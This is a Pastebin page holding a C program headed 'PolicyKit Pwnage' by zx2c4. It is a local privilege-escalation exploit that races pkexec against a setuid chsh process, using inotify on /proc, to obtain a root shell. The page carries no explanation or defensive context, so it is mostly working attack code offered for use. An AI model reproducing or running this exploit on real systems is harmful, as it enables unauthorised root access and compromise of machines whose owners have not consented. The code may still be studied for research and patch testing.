Guest User

Untitled

a guest
Oct 7th, 2011
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.01 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <errno.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/inotify.h>
  7.  
  8. int main(int argc, char **argv)
  9. {
  10. printf("=============================\n");
  11. printf("= PolicyKit Pwnage =\n");
  12. printf("= by zx2c4 =\n");
  13. printf("= Sept 5, 2011 =\n");
  14. printf("=============================\n\n");
  15.  
  16. if (fork()) {
  17. int fd;
  18. char pid_path[1024];
  19. sprintf(pid_path, "/proc/%i", getpid());
  20. printf("[+] Configuring inotify for proper pid.\n");
  21. close(0); close(1); close(2);
  22. fd = inotify_init();
  23. if (fd < 0)
  24. perror("[-] inotify_init");
  25. inotify_add_watch(fd, pid_path, IN_ACCESS);
  26. read(fd, NULL, 0);
  27. execl("/usr/bin/chsh", "chsh", NULL);
  28. } else {
  29. sleep(1);
  30. printf("[+] Launching pkexec.\n");
  31. execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
  32. }
  33. return 0;
  34. }
  35.  
  36.  
  37. # [2011-10-05]
  38.  
Advertisement
Add Comment
Please, Sign In to add comment